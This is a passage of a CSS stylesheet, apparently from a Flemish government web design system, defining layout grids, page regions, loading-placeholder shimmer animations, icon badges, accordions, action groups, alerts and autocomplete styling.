        }

        .vl-form-push--11-12--s {
          margin-left: 91.6666666667%
        }

        .vl-form-col--omega--s {
          margin-left: auto
        }
      }

      @media screen and (min-width:1280px) {
        .vl-form-grid--wide {
          margin-left: calc(-4.16667% - 3rem);
          margin-right: -4.1666666667%
        }
      }

      .vl-grid--is-stacked-large {
        row-gap: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-grid--is-stacked-large {
          row-gap: 3rem
        }
      }

      .vl-grid--is-stacked-large>* {
        row-gap: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-grid--is-stacked-large>* {
          row-gap: 3rem
        }
      }

      .vl-grid--is-stacked-small,
      .vl-grid--is-stacked-small>* {
        row-gap: 1.5rem
      }

      .vl-form-grid--is-stacked-large,
      .vl-form-grid--is-stacked-large>* {
        row-gap: 3rem
      }

      .vl-form-grid--is-stacked-small,
      .vl-form-grid--is-stacked-small>* {
        row-gap: 1rem
      }

      .vl-page {
        background-color: #fff;
        position: relative;
        width: 100%
      }

      .vl-page .vl-main-content>.vl-region:last-child {
        padding-bottom: 10rem
      }

      @media screen and (max-width:767px) {
        .vl-page .vl-main-content>.vl-region:last-child {
          padding-bottom: 7rem
        }
      }

      .vl-main-content {
        outline: none;
        position: relative
      }

      .vl-region {
        margin: 0 auto;
        padding: 3rem 0 6rem
      }

      @media screen and (max-width:767px) {
        .vl-region {
          padding: 3rem 0
        }
      }

      .vl-region:not(.vl-region--alt)+.vl-region:not(.vl-region--alt) {
        padding-top: 0
      }

      .vl-region--alt {
        background-color: #f7f9fc
      }

      .vl-region--overlap {
        background: linear-gradient(180deg, transparent calc(50% - 30px), #f7f9fc calc(50% - 30px), #f7f9fc);
        filter: progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000", endColorstr="#000000", GradientType=0)
      }

      .vl-region--overlap .vl-layout {
        background: #fff;
        border: 1px solid #cbd2da;
        padding-bottom: 50px;
        padding-top: 50px
      }

      @media only screen and (max-width:1295px) {
        .vl-region--overlap .vl-layout {
          margin: 15px
        }
      }

      @media screen and (max-width:1023px) {
        .vl-region--overlap .vl-layout {
          padding-bottom: 20px;
          padding-top: 20px
        }
      }

      .vl-region--overlap+.vl-region--alt {
        padding-top: 0 !important
      }

      .vl-region--alt+.vl-region:not(.vl-region--alt),
      .vl-region:not(.vl-region--alt)+.vl-region--alt {
        padding-top: 6rem
      }

      @media screen and (max-width:767px) {

        .vl-region--alt+.vl-region:not(.vl-region--alt),
        .vl-region:not(.vl-region--alt)+.vl-region--alt {
          padding-top: 3rem
        }
      }

      .vl-region:first-child {
        padding-top: 6rem
      }

      @media screen and (max-width:767px) {
        .vl-region:first-child {
          padding-top: 2rem
        }
      }

      .vl-region--small {
        padding: 1.5rem 0
      }

      @media screen and (max-width:767px) {
        .vl-region--small {
          padding: 2rem 0
        }
      }

      .vl-region--medium {
        padding: 3rem 0
      }

      @media screen and (max-width:767px) {
        .vl-region--medium {
          padding: 2rem 0
        }
      }

      .vl-region--bordered+.vl-region--bordered {
        border-top: 1px solid #f7f9fc
      }

      .vl-region--bordered+.vl-region--bordered.vl-region--alt {
        border-top-color: #fff
      }

      .vl-region.vl-region--no-space {
        padding: 0
      }

      .vl-region.vl-region--no-space-bottom {
        padding-bottom: 0
      }

      .vl-region.vl-region--no-space-top {
        padding-top: 0
      }

      .vl-layout {
        margin: 0 auto;
        max-width: 1280px;
        min-width: 1024px;
        padding: 0 3rem;
        position: relative
      }

      @media screen and (max-width:1023px) {
        .vl-layout {
          max-width: 1280px;
          min-width: 768px;
          width: auto
        }
      }

      @media screen and (max-width:767px) {
        .vl-layout {
          min-width: 0;
          padding: 0 1.5rem;
          width: auto
        }
      }

      .bl-card--placeholder .bl-card__content__loading-bar,
      .bl-card--placeholder .bl-card__header__meta,
      .bl-card--placeholder .bl-card__header__title,
      .bl-card--placeholder .bl-card__text,
      .bl-card--placeholder .bl-card__title,
      .bl-loading-bars__loading-bar,
      .js-preloading .bl-card .bl-card__text,
      .js-preloading .bl-card .bl-card__title,
      .js-preloading .bl-card__content__loading-bar,
      .js-preloading .bl-card__header__meta,
      .js-preloading .bl-card__header__title,
      .js-preloading .bl-description-data__data,
      .js-preloading .bl-description-data__label,
      .js-preloading .bl-description-data__meta,
      .js-preloading .bl-description-data__subdata,
      .js-preloading .bl-description-data__value,
      .js-preloading .spotlight__text,
      .js-preloading .spotlight__title {
        display: block;
        font-size: 0;
        height: .8rem;
        margin-bottom: 1rem;
        overflow: hidden;
        padding: 0;
        position: relative;
        width: 100%
      }

      .bl-card--placeholder .bl-card__content__loading-bar:after,
      .bl-card--placeholder .bl-card__header__meta:after,
      .bl-card--placeholder .bl-card__header__title:after,
      .bl-card--placeholder .bl-card__text:after,
      .bl-card--placeholder .bl-card__title:after,
      .bl-loading-bars__loading-bar:after,
      .js-preloading .bl-card .bl-card__text:after,
      .js-preloading .bl-card .bl-card__title:after,
      .js-preloading .bl-card__content__loading-bar:after,
      .js-preloading .bl-card__header__meta:after,
      .js-preloading .bl-card__header__title:after,
      .js-preloading .bl-description-data__data:after,
      .js-preloading .bl-description-data__label:after,
      .js-preloading .bl-description-data__meta:after,
      .js-preloading .bl-description-data__subdata:after,
      .js-preloading .bl-description-data__value:after,
      .js-preloading .spotlight__text:after,
      .js-preloading .spotlight__title:after {
        content: "";
        display: block;
        height: 100%;
        left: 0;
        position: absolute;
        top: 0;
        transform: translateX(-20%);
        width: 50%
      }

      .bl-loading-bars__loading-bar--large {
        height: 1.4rem;
        margin-bottom: 1.4rem
      }

      .bl-card--placeholder .bl-card__header__title,
      .bl-card__header--alt .bl-card--placeholder .bl-card__header__meta,
      .bl-card__header--alt .bl-card--placeholder .bl-card__header__title,
      .bl-card__header--alt .bl-card--placeholder .bl-card__text,
      .bl-card__header--alt .bl-card--placeholder .bl-card__title,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__header__meta,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__text,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__title,
      .js-preloading .bl-card .bl-card__header__title,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__header__meta,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__text,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__title,
      .js-preloading .bl-description-data__label,
      .js-preloading .card--alt .bl-description-data__value,
      .js-preloading .spotlight__text,
      .js-preloading .spotlight__title {
        background: #cbd2da
      }

      .bl-card--placeholder .bl-card__header__title:after,
      .bl-card__header--alt .bl-card--placeholder .bl-card__header__meta:after,
      .bl-card__header--alt .bl-card--placeholder .bl-card__header__title:after,
      .bl-card__header--alt .bl-card--placeholder .bl-card__text:after,
      .bl-card__header--alt .bl-card--placeholder .bl-card__title:after,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__header__meta:after,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__text:after,
      .bl-card__header--alt .js-preloading .bl-card .bl-card__title:after,
      .js-preloading .bl-card .bl-card__header__title:after,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__header__meta:after,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__text:after,
      .js-preloading .bl-card__header--alt .bl-card .bl-card__title:after,
      .js-preloading .bl-description-data__label:after,
      .js-preloading .card--alt .bl-description-data__value:after,
      .js-preloading .spotlight__text:after,
      .js-preloading .spotlight__title:after {
        background: linear-gradient(90deg, transparent 10%, #b3bdc9 50%, transparent 90%)
      }

      .bl-card--placeholder .bl-card__content__loading-bar,
      .bl-card--placeholder .bl-card__header__meta,
      .bl-card--placeholder .bl-card__text,
      .bl-card--placeholder .bl-card__title,
      .bl-loading-bars__loading-bar,
      .js-preloading .bl-card .bl-card__content__loading-bar,
      .js-preloading .bl-card .bl-card__header__meta,
      .js-preloading .bl-card .bl-card__text,
      .js-preloading .bl-card .bl-card__title,
      .js-preloading .bl-description-data__data,
      .js-preloading .bl-description-data__label,
      .js-preloading .bl-description-data__meta,
      .js-preloading .bl-description-data__subdata,
      .js-preloading .bl-description-data__value {
        background: #e8ebee
      }

      .bl-card--placeholder .bl-card__content__loading-bar:after,
      .bl-card--placeholder .bl-card__header__meta:after,
      .bl-card--placeholder .bl-card__text:after,
      .bl-card--placeholder .bl-card__title:after,
      .bl-loading-bars__loading-bar:after,
      .js-preloading .bl-card .bl-card__content__loading-bar:after,
      .js-preloading .bl-card .bl-card__header__meta:after,
      .js-preloading .bl-card .bl-card__text:after,
      .js-preloading .bl-card .bl-card__title:after,
      .js-preloading .bl-description-data__data:after,
      .js-preloading .bl-description-data__label:after,
      .js-preloading .bl-description-data__meta:after,
      .js-preloading .bl-description-data__subdata:after,
      .js-preloading .bl-description-data__value:after {
        background: linear-gradient(90deg, transparent 10%, #cbd2d8 50%, transparent 90%)
      }

      .bl-loading-bars__loading-bar:after,
      .js-preloading .bl-card__content__loading-bar:after,
      .js-preloading .bl-card__header__meta:after,
      .js-preloading .bl-card__header__title:after,
      .js-preloading .bl-description-data__data:after,
      .js-preloading .bl-description-data__label:after,
      .js-preloading .bl-description-data__meta:after,
      .js-preloading .bl-description-data__subdata:after,
      .js-preloading .bl-description-data__value:after {
        animation-duration: 5s;
        animation-fill-mode: both;
        animation-iteration-count: infinite;
        animation-name: preloadHolderShimmer;
        animation-timing-function: linear
      }

      .bl-loading-bars__loading-bar--large:after {
        animation-duration: 3.5s
      }

      @keyframes preloadHolderShimmer {
        0% {
          opacity: 0;
          transform: translateX(-70%)
        }

        to {
          transform: translateX(210%)
        }
      }

      button.vi,
      button.vi.vi-u-link-after {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        border: none;
        cursor: pointer;
        outline: none;
        padding: 0
      }

      a.vi,
      a.vi.vi-u-link-after {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vi.vi-u-hidden-text {
        font-size: 0
      }

      .vi.vi-u-xs:before {
        font-size: .8rem
      }

      .vi.vi-u-s:before {
        font-size: 1.3rem
      }

      .vi.vi-u-m:before {
        font-size: 1.7rem
      }

      .vi.vi-u-l:before {
        font-size: 2rem
      }

      .vi.vi-u-xl:before {
        font-size: 2.2rem
      }

      .vi.vi-u-90deg:before {
        display: inline-block;
        transform: rotate(90deg)
      }

      .vi.vi-u-180deg:before {
        display: inline-block;
        transform: rotate(180deg)
      }

      .vi.vi-u-link-after:before,
      .vi.vi-u-link:before {
        color: #000;
        display: inline-block;
        font-size: 1.3rem;
        margin-right: 1rem;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vi.vi-u-link-after:before {
        margin-left: 1rem;
        margin-right: 0
      }

      .vi.vi-u-color-grey {
        color: #cbd2da
      }

      .vi.vi-u-badge {
        border-radius: 50%;
        display: inline-block;
        text-align: center;
        vertical-align: middle
      }

      .vi.vi-u-badge:before {
        display: block;
        margin: 0;
        vertical-align: middle
      }

      .vi.vi-u-badge--link {
        margin-right: 1rem
      }

      .vi.vi-u-badge--link-after {
        margin-left: 1rem
      }

      .vi.vi-u-badge--positive {
        transition: background-color .2s
      }

      .vi.vi-u-badge--positive,
      .vi.vi-u-badge--positive:focus,
      .vi.vi-u-badge--positive:hover,
      a:focus .vi.vi-u-badge--positive,
      a:hover .vi.vi-u-badge--positive,
      button:focus .vi.vi-u-badge--positive,
      button:hover .vi.vi-u-badge--positive {
        background-color: #009e47;
        color: #e6f5ed
      }

      .vi.vi-u-badge--action {
        background-color: #05c;
        color: #e6eefa;
        transition: background-color .2s
      }

      .vi.vi-u-badge--action:focus,
      .vi.vi-u-badge--action:hover,
      a:focus .vi.vi-u-badge--action,
      a:hover .vi.vi-u-badge--action,
      button:focus .vi.vi-u-badge--action,
      button:hover .vi.vi-u-badge--action {
        background-color: #004ab3;
        color: #e6eefa
      }

      .vi.vi-u-badge--negative {
        background-color: #d2373c;
        color: #fbebec;
        transition: background-color .2s
      }

      .vi.vi-u-badge--negative:focus,
      .vi.vi-u-badge--negative:hover,
      a:focus .vi.vi-u-badge--negative,
      a:hover .vi.vi-u-badge--negative,
      button:focus .vi.vi-u-badge--negative,
      button:hover .vi.vi-u-badge--negative {
        background-color: #aa2729;
        color: #fbebec
      }

      .vi.vi-u-badge--warning {
        background-color: #ffa10a;
        color: #fff6e7;
        transition: background-color .2s
      }

      .vi.vi-u-badge--neutral {
        background-color: #f7f9fc;
        color: #333332;
        transition: background-color .2s
      }

      .vi.vi-u-badge--neutral:focus,
      .vi.vi-u-badge--neutral:hover,
      a:focus .vi.vi-u-badge--neutral,
      a:hover .vi.vi-u-badge--neutral,
      button:focus .vi.vi-u-badge--neutral,
      button:hover .vi.vi-u-badge--neutral {
        background-color: #05c;
        color: #e6eefa
      }

      .vi.vi-u-badge--light {
        background-color: #fff;
        color: #333332;
        transition: background-color .2s
      }

      .vi.vi-u-badge--light:focus,
      .vi.vi-u-badge--light:hover,
      a:focus .vi.vi-u-badge--light,
      a:hover .vi.vi-u-badge--light,
      button:focus .vi.vi-u-badge--light,
      button:hover .vi.vi-u-badge--light {
        background-color: #05c;
        color: #e6eefa
      }

      .vi.vi-u-badge--xxsmall {
        height: 1.8rem;
        line-height: 1.8rem;
        min-width: 1.8rem;
        width: 1.8rem
      }

      .vi.vi-u-badge--xxsmall:before {
        font-size: .8rem
      }

      @media screen and (max-width:767px) {
        .vi.vi-u-badge--xxsmall {
          height: 1.5rem;
          line-height: 1.5rem;
          min-width: 1.5rem;
          width: 1.5rem
        }

        .vi.vi-u-badge--xxsmall:before {
          font-size: .7rem
        }
      }

      .vi.vi-u-badge--xsmall {
        height: 1.8rem;
        line-height: 1.8rem;
        min-width: 1.8rem;
        width: 1.8rem
      }

      .vi.vi-u-badge--xsmall:before {
        font-size: 1.1rem
      }

      @media screen and (max-width:767px) {
        .vi.vi-u-badge--xsmall {
          height: 1.5rem;
          line-height: 1.5rem;
          min-width: 1.5rem;
          width: 1.5rem
        }

        .vi.vi-u-badge--xsmall:before {
          font-size: 1.1rem
        }
      }

      .vi.vi-u-badge--small {
        height: 2.6rem;
        line-height: 2.6rem;
        min-width: 2.6rem;
        width: 2.6rem
      }

      .vi.vi-u-badge--small:before {
        font-size: 1.3rem
      }

      @media screen and (max-width:767px) {
        .vi.vi-u-badge--small {
          height: 2.2rem;
          line-height: 2.2rem;
          min-width: 2.2rem;
          width: 2.2rem
        }

        .vi.vi-u-badge--small:before {
          font-size: 1.2rem
        }
      }

      .vi.vi-u-badge--medium {
        height: 4rem;
        line-height: 4rem;
        min-width: 4rem;
        width: 4rem
      }

      .vi.vi-u-badge--medium:before {
        font-size: 2rem
      }

      @media screen and (max-width:767px) {
        .vi.vi-u-badge--medium {
          height: 3rem;
          line-height: 3rem;
          min-width: 3rem;
          width: 3rem
        }

        .vi.vi-u-badge--medium:before {
          font-size: 1.5rem
        }
      }

      .vi.vi-u-badge--large {
        height: 5rem;
        line-height: 5rem;
        min-width: 5rem;
        width: 5rem
      }

      .vi.vi-u-badge--large:before {
        font-size: 2.5rem
      }

      @media screen and (max-width:767px) {
        .vi.vi-u-badge--large {
          height: 4rem;
          line-height: 4rem;
          min-width: 4rem;
          width: 4rem
        }

        .vi.vi-u-badge--large:before {
          font-size: 2rem
        }
      }

      .js-vl-accordion {
        position: relative
      }

      .js-vl-accordion--flex-reverse {
        display: flex;
        flex-direction: column-reverse
      }

      .vl-accordion-list--bordered .vl-accordion-list__item {
        border-bottom: 1px solid #cbd2da;
        margin-bottom: 0;
        padding: 3rem 0
      }

      @media screen and (max-width:1023px) {
        .vl-accordion-list--bordered .vl-accordion-list__item {
          padding: 2rem 0
        }
      }

      @media screen and (max-width:767px) {
        .vl-accordion-list--bordered .vl-accordion-list__item {
          padding: 1.5rem 0
        }
      }

      .vl-accordion-list--bordered .vl-accordion-list__item:first-child {
        border-top: 1px solid #cbd2da
      }

      .vl-accordion-list__item {
        margin-bottom: 10px
      }

      .vl-accordion-list__item .vl-accordion-list--bordered {
        margin-bottom: 0
      }

      .vl-accordion__icon {
        align-self: center
      }

      .vl-accordion__subtitle {
        margin-top: 5px;
        padding: 0 0 0 22px
      }

      .vl-accordion__summary {
        position: relative
      }

      .vl-accordion__summary:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-accordion__summary:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-accordion__summary--no-toggle .vl-accordion__toggle {
        border: none;
        padding: 0
      }

      .vl-accordion__summary--no-toggle .vl-accordion__subtitle {
        padding: 0
      }

      .vl-accordion__summary--suffix {
        display: grid;
        grid-template-columns: 1fr auto;
        grid-template-rows: 1fr;
        grid-gap: 0 1rem;
        gap: 0 1rem
      }

      @media screen and (max-width:500px) {
        .vl-accordion__summary--suffix {
          grid-auto-flow: row;
          grid-template-columns: 1fr
        }

        .vl-accordion__summary--suffix .vl-accordion__subtitle,
        .vl-accordion__summary--suffix .vl-accordion__suffix,
        .vl-accordion__summary--suffix .vl-accordion__title {
          grid-area: auto
        }

        .vl-accordion__summary--suffix .vl-accordion__suffix {
          padding: 0 0 0 22px
        }
      }

      .vl-accordion__summary--suffix:has(.vl-accordion__subtitle) .vl-accordion__title {
        grid-area: 1/1/2/2
      }

      .vl-accordion__summary--suffix:has(.vl-accordion__subtitle) .vl-accordion__suffix {
        grid-area: 1/2/2/3
      }

      @media screen and (max-width:500px) {
        .vl-accordion__summary--suffix:has(.vl-accordion__subtitle) .vl-accordion__suffix {
          grid-area: 2/1/3/2
        }
      }

      .vl-accordion__summary--suffix:has(.vl-accordion__subtitle) .vl-accordion__subtitle {
        grid-area: 3/1/4/2
      }

      .vl-accordion__content {
        position: relative
      }

      .js .vl-accordion__content {
        max-height: 0;
        visibility: hidden
      }

      .js .js-vl-accordion--open>.vl-accordion__content {
        max-height: none;
        visibility: visible
      }

      .vl-accordion__image-container .vl-image--full-width {
        margin-bottom: 2.2rem;
        margin-left: -2.2rem;
        margin-top: -2.2rem;
        max-height: 19rem;
        max-width: calc(100% + 4.4rem);
        -o-object-fit: cover;
        object-fit: cover;
        width: calc(100% + 4.4rem)
      }

      @media screen and (max-width:767px) {
        .vl-accordion__image-container .vl-image--full-width {
          margin-bottom: 1rem;
          margin-left: -1rem;
          margin-top: -1rem;
          max-width: calc(100% + 2rem);
          width: calc(100% + 2rem)
        }
      }

      .vl-accordion__footer {
        background: url("") repeat-x;
        background-size: 6px 6px;
        border: 0;
        min-height: 6px;
        padding: 3rem 0
      }

      @media screen and (max-width:767px) {
        .vl-accordion__footer {
          padding: 1.5rem 0
        }
      }

      .vl-accordion-list--bordered .vl-accordion__footer {
        padding-bottom: 0
      }

      .vl-accordion__panel {
        padding: 2.2rem
      }

      @media screen and (max-width:500px) {
        .vl-accordion__panel {
          padding: 1rem
        }
      }

      .vl-accordion__panel--xsmall {
        padding: 1rem
      }

      .vl-accordion__panel--alt {
        background-color: #f7f9fc;
        margin-top: 1rem;
        padding-top: 2.2rem
      }

      @media screen and (max-width:767px) {
        .vl-accordion__panel--alt {
          padding: 1rem
        }
      }

      .vl-accordion__panel--no-indent {
        padding-left: 0;
        padding-right: 0
      }

      .vl-accordion__panel--overflow {
        overflow: auto
      }

      .vl-accordion-list--bordered .vl-accordion__panel:not(.vl-accordion__panel--with-footer) {
        padding-bottom: 0
      }

      .vl-action-group {
        align-items: center;
        display: flex;
        flex-wrap: wrap
      }

      .vl-action-group .vl-button,
      .vl-action-group a,
      .vl-action-group button {
        margin-right: 1.4rem
      }

      .vl-action-group .vl-button:last-child,
      .vl-action-group a:last-child,
      .vl-action-group button:last-child {
        margin-right: 0
      }

      .vl-action-group--align-right {
        justify-content: flex-end
      }

      .vl-action-group--align-center {
        justify-content: center
      }

      .vl-action-group--space-between {
        justify-content: space-between
      }

      .vl-action-group .vl-link {
        white-space: nowrap
      }

      .vl-action-group--bordered>* {
        margin: 0 1.6rem;
        position: relative
      }

      .vl-action-group--bordered>:not(:last-child) {
        margin-right: 1.6rem
      }

      .vl-action-group--bordered>:last-child {
        border: 0
      }

      .vl-action-group--bordered>:first-child {
        margin-left: 0
      }

      .vl-action-group--bordered>:not(:last-child):after {
        background-color: #cbd2da;
        content: "";
        height: 1.5rem;
        position: absolute;
        right: -1.6rem;
        top: 50%;
        transform: translateY(-50%);
        width: .1rem
      }

      @media screen and (min-width:1023.1px) {
        .vl-action-group--collapse--l {
          align-items: flex-start;
          flex-direction: column
        }

        .vl-action-group--collapse--l>:not(:last-child) {
          margin-bottom: 1rem
        }

        .vl-action-group--collapse--l.vl-action-group--align-center,
        .vl-action-group--collapse--l.vl-action-group--align-right {
          align-items: center
        }

        .vl-action-group--collapse--l.vl-action-group--align-center .vl-button,
        .vl-action-group--collapse--l.vl-action-group--align-right .vl-button {
          margin-right: 0
        }

        .vl-action-group--collapse--l.vl-action-group--align-right {
          align-items: flex-end
        }

        .vl-action-group--collapse--l .vl-link {
          border-right: 0;
          display: block;
          flex: 1 0 100%;
          margin: 0;
          padding-right: 0;
          text-align: left
        }

        .vl-action-group--collapse--l .vl-link:not(:last-child) {
          margin-bottom: .5rem
        }

        .vl-action-group--collapse--l .vl-link:not(:last-child):after {
          display: none
        }
      }

      @media screen and (max-width:1023px) {
        .vl-action-group--collapse--m {
          align-items: flex-start;
          flex-direction: column
        }

        .vl-action-group--collapse--m>:not(:last-child) {
          margin-bottom: 1rem
        }

        .vl-action-group--collapse--m.vl-action-group--align-center,
        .vl-action-group--collapse--m.vl-action-group--align-right {
          align-items: center
        }

        .vl-action-group--collapse--m.vl-action-group--align-center .vl-button,
        .vl-action-group--collapse--m.vl-action-group--align-right .vl-button {
          margin-right: 0
        }

        .vl-action-group--collapse--m.vl-action-group--align-right {
          align-items: flex-end
        }

        .vl-action-group--collapse--m .vl-link {
          border-right: 0;
          display: block;
          flex: 1 0 100%;
          margin: 0;
          padding-right: 0;
          text-align: left
        }

        .vl-action-group--collapse--m .vl-link:not(:last-child) {
          margin-bottom: .5rem
        }

        .vl-action-group--collapse--m .vl-link:not(:last-child):after {
          display: none
        }
      }

      @media screen and (max-width:767px) {
        .vl-action-group--collapse--s {
          align-items: flex-start;
          flex-direction: column
        }

        .vl-action-group--collapse--s>:not(:last-child) {
          margin-bottom: 1rem
        }

        .vl-action-group--collapse--s.vl-action-group--align-center,
        .vl-action-group--collapse--s.vl-action-group--align-right {
          align-items: center
        }

        .vl-action-group--collapse--s.vl-action-group--align-center .vl-button,
        .vl-action-group--collapse--s.vl-action-group--align-right .vl-button {
          margin-right: 0
        }

        .vl-action-group--collapse--s.vl-action-group--align-right {
          align-items: flex-end
        }

        .vl-action-group--collapse--s .vl-link {
          border-right: 0;
          display: block;
          flex: 1 0 100%;
          margin: 0;
          padding-right: 0;
          text-align: left
        }

        .vl-action-group--collapse--s .vl-link:not(:last-child) {
          margin-bottom: .5rem
        }

        .vl-action-group--collapse--s .vl-link:not(:last-child):after {
          display: none
        }
      }

      @media screen and (max-width:500px) {
        .vl-action-group--collapse--xs {
          align-items: flex-start;
          flex-direction: column
        }

        .vl-action-group--collapse--xs>:not(:last-child) {
          margin-bottom: 1rem
        }

        .vl-action-group--collapse--xs.vl-action-group--align-center,
        .vl-action-group--collapse--xs.vl-action-group--align-right {
          align-items: center
        }

        .vl-action-group--collapse--xs.vl-action-group--align-center .vl-button,
        .vl-action-group--collapse--xs.vl-action-group--align-right .vl-button {
          margin-right: 0
        }

        .vl-action-group--collapse--xs.vl-action-group--align-right {
          align-items: flex-end
        }

        .vl-action-group--collapse--xs .vl-link {
          border-right: 0;
          display: block;
          flex: 1 0 100%;
          margin: 0;
          padding-right: 0;
          text-align: left
        }

        .vl-action-group--collapse--xs .vl-link:not(:last-child) {
          margin-bottom: .5rem
        }

        .vl-action-group--collapse--xs .vl-link:not(:last-child):after {
          display: none
        }
      }

      .vl-alert {
        background-color: #e8ebee;
        border: .1rem solid #cfd5dd;
        border-radius: .3rem;
        display: flex;
        padding: 2.5rem 3rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-alert {
          padding: 1.5rem
        }
      }

      .vl-alert__close {
        border: 0;
        cursor: pointer;
        display: flex;
        font-size: 1.6rem;
        overflow: hidden;
        padding: .5rem;
        position: absolute;
        right: .9rem;
        top: .9rem
      }

      .vl-alert__close:focus,
      .vl-alert__close:hover {
        color: #004ab3
      }

      .vl-alert__close>.vl-vi {
        display: inline-flex
      }

      .vl-alert__content-wrapper {
        display: flex;
        flex: 1;
        overflow: hidden
      }

      @media screen and (max-width:767px) {
        .vl-alert__content-wrapper {
          flex-wrap: wrap
        }
      }

      .vl-alert__content {
        display: flex;
        flex-basis: 100%;
        flex-direction: column;
        justify-content: center
      }

      @media screen and (max-width:767px) {
        .vl-alert__content {
          flex-basis: auto;
          flex-grow: 1
        }
      }

      .vl-alert__icon {
        flex: 0 0 auto;
        font-size: 2.4rem;
        line-height: 1;
        margin-right: 2.5rem
      }

      @media screen and (max-width:767px) {
        .vl-alert__icon {
          font-size: 1.6rem;
          margin-right: 1.5rem;
          margin-top: 3px
        }
      }

      .vl-alert__title {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        font-weight: 500;
        line-height: 1.44;
        margin-bottom: .3rem
      }

      @media screen and (max-width:767px) {
        .vl-alert__title {
          font-size: 1.8rem;
          margin-bottom: 1rem
        }
      }

      .vl-alert__actions {
        margin-top: 1.5rem
      }

      .vl-alert__message {
        color: #333332
      }

      .vl-alert--cta:before {
        background: #05c;
        content: "";
        height: .3rem;
        left: -.1rem;
        position: absolute;
        top: -.1rem;
        width: calc(100% + .2rem)
      }

      .vl-alert--accent {
        background-color: rgba(255, 237, 0, .1);
        background-color: rgba(var(--vl-theme-primary-color-rgb, 255, 237, 0), .1);
        border-color: rgba(255, 237, 0, .3);
        border-color: rgba(var(--vl-theme-primary-color-rgb, 255, 237, 0), .3)
      }

      .vl-alert--accent .vl-alert__icon {
        color: #000
      }

      .vl-alert--error {
        background-color: #fbebec;
        border-color: #edafb1
      }

      .vl-alert--error .vl-alert__icon {
        color: #aa2729
      }

      .vl-alert--warning {
        background-color: #fff6e7;
        border-color: #ffd99d
      }

      .vl-alert--warning .vl-alert__icon {
        color: #d07b06
      }

      .vl-alert--success {
        background-color: #e6f5ed;
        border-color: #99d8b5
      }

      .vl-alert--success .vl-alert__icon {
        color: #007a37
      }

      .vl-alert--info {
        background-color: #f7f9fc;
        border-color: #e8ebee
      }

      .vl-alert--naked {
        background: transparent;
        border: 0;
        border-radius: 0;
        padding: 0
      }

      .vl-alert--naked .vl-alert__icon {
        margin-right: 1.5rem
      }

      .vl-alert--naked .vl-alert__content {
        display: block
      }

      .vl-alert--naked .vl-alert__title {
        margin-bottom: 0
      }

      .vl-alert--naked .vl-alert__title>* {
        display: inline
      }

      .vl-alert--naked.vl-alert--error .vl-alert__icon {
        color: #d2373c
      }

      .vl-alert--naked p {
        display: inline
      }

      .vl-alert--small {
        font-size: 1.4rem;
        line-height: 1.2;
        padding: 1.5rem
      }

      .vl-alert--small .vl-alert__title {
        font-size: 1.6rem
      }

      .vl-alert--small .vl-alert__icon {
        font-size: 2rem;
        height: 2rem;
        margin-right: 1.5rem;
        width: 2rem
      }

      .vl-alert--small .vl-alert__actions {
        margin-top: 1rem
      }

      .vl-alert--large {
        padding: 5rem 5.5rem
      }

      @media screen and (max-width:767px) {
        .vl-alert--large {
          padding: 1.5rem
        }
      }

      .vl-alert--large .vl-alert__title {
        font-size: 2.2rem
      }

      @media screen and (max-width:767px) {
        .vl-alert--large .vl-alert__title {
          font-size: 2rem
        }
      }

      .vl-alert--center {
        align-items: center
      }

      .vl-alert__image {
        height: auto;
        margin-right: 4rem;
        width: 8rem
      }

      @media screen and (max-width:767px) {
        .vl-alert__image {
          margin-bottom: 1rem;
          margin-right: 1rem;
          width: 7rem
        }

        .vl-alert__image+.vl-alert__content {
          max-width: calc(100% - 8rem)
        }
      }

      @media screen and (max-width:500px) {
        .vl-alert__image+.vl-alert__content {
          max-width: none
        }
      }

      .vl-arrow-navigation {
        color: #333332;
        color: var(--vl-theme-fg-color);
        margin-bottom: 5rem
      }

      @media screen and (max-width:767px) {
        .vl-arrow-navigation {
          margin-bottom: 2rem
        }
      }

      .vl-arrow-navigation__wrapper {
        align-items: center;
        border-bottom: 1px solid #cfd5dd;
        display: flex;
        padding-bottom: 1.8rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-arrow-navigation__wrapper {
          padding-bottom: 1rem
        }
      }

      .vl-arrow-navigation__title {
        color: #333332;
        flex: 1;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 3.2rem;
        font-weight: 500;
        line-height: 1.24;
        margin: 0 3rem
      }

      @media screen and (max-width:767px) {
        .vl-arrow-navigation__title {
          font-size: 2.6rem;
          margin-bottom: 1.5rem
        }
      }

      @media screen and (max-width:1023px) {
        .vl-arrow-navigation__title {
          margin: 0 3rem;
          padding: 0
        }
      }

      @media screen and (max-width:767px) {
        .vl-arrow-navigation__title {
          margin: 0 1.5rem;
          padding: 0
        }
      }

      .js-vl-autocomplete {
        position: relative
      }

      .js-vl-autocomplete input,
      .js-vl-autocomplete select {
        position: relative;
        z-index: 2
      }

      .js-vl-autocomplete .vl-autocomplete {
        background: #fff;
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        left: 0;
        position: absolute;
        right: 0;
        top: calc(100% + .7rem);
        z-index: 3
      }

      .js-vl-autocomplete .vl-autocomplete[data-vl-position=up] {
        bottom: calc(100% + .7rem);
        top: auto
      }

